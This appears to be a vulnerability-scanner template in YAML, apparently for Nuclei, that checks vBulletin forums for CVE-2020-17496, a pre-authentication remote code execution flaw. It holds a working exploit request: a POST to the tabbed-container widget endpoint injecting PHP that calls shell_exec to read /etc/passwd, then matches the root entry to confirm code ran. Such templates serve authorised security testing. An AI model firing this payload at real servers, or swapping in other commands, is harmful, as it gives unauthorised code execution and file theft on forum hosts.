34 lines
1.1 KiB
YAML
34 lines
1.1 KiB
YAML
id: CVE-2020-17496
|
|
info:
|
|
name: vBulletin Pre-Auth RCE
|
|
author: pussycat0x
|
|
severity: critical
|
|
reference: https://www.tenable.com/blog/zero-day-remote-code-execution-vulnerability-in-vbulletin-disclosed
|
|
description: |
|
|
vBulletin 5.5.4 through 5.6.2 allow remote command execution (RCE) via crafted subWidgets data in an ajax/render/widget_tabbedcontainer_tab_panel request. NOTE: this issue exists because of an incomplete fix for CVE-2019-16759.
|
|
tags: cve,cve2020,vbulletin,rce
|
|
classification:
|
|
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
|
|
cvss-score: 9.80
|
|
cve-id: CVE-2020-17496
|
|
cwe-id: CWE-74
|
|
|
|
requests:
|
|
- raw:
|
|
- |
|
|
POST /ajax/render/widget_tabbedcontainer_tab_panel HTTP/1.1
|
|
Host: {{Hostname}}
|
|
Content-Type: application/x-www-form-urlencoded
|
|
|
|
subWidgets[0][template]=widget_php&subWidgets[0][config][code]=echo shell_exec('cat ../../../../../../../../../../../../etc/passwd'); exit;"
|
|
|
|
matchers-condition: and
|
|
matchers:
|
|
- type: regex
|
|
regex:
|
|
- "root:.*:0:0:"
|
|
|
|
- type: status
|
|
status:
|
|
- 200
|